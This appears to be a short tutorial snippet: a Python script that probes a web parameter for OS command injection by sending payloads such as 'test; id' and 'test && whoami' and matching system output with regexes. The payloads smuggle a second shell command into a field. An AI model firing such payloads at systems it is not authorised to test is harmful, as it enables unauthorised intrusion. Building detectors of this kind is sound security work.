OS Command Injection

import requests
import sys
import re

INJECTION_PAYLOADS = ["test; id", "test && whoami", "test | uname -a", "test $(whoami)", "test & echo vulnerable", "test || dir"]
DETECTION_PATTERNS = [r"uid=\d+\(.*?\)", r"Linux.*?GNU", r"root|admin|user", r"Volume Serial Number", r"C:\\Users\\|C:\\Windows"]

def detect_os_command_injection(url, param):
    for payload in INJECTION_PAYLOADS:
        target_url = f"{url}?{param}={payload}"
        print(f"Testing: {target_url}")
        try:
            response = requests.get(target_url, timeout=5)
            if response.status_code == 200:
                for pattern in DETECTION_PATTERNS:
                    if re.search(pattern, response.text, re.IGNORECASE):
                        print(f"[!] Potential OS Command Injection Detected on: {target_url}")
                        print(f"    Response: {response.text[:200]}...\n")
                        return True
        except requests.RequestException as e:
            print(f"[!] Error testing {target_url}: {e}")
    print("[+] No OS Command Injection detected.")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python detect_os_command_injection.py  ")
        print("Example: python detect_os_command_injection.py http://example.com/ping host")
        sys.exit(1)
    target_url = sys.argv[1]
    parameter = sys.argv[2]
    detect_os_command_injection(target_url, parameter)

This script performs remote testing by sending multiple payloads to the specified URL parameter. It then analyzes the HTTP response to determine if OS command injection occurred. The detection logic works as follows:

1. Injects OS command payloads into the specified HTTP parameter.
2. Sends HTTP requests and waits for the server’s response.
3. Checks for system-related output using regex patterns.
4. Identifies vulnerabilities if any system output (like user IDs, kernel versions, or Windows paths) is returned in the response.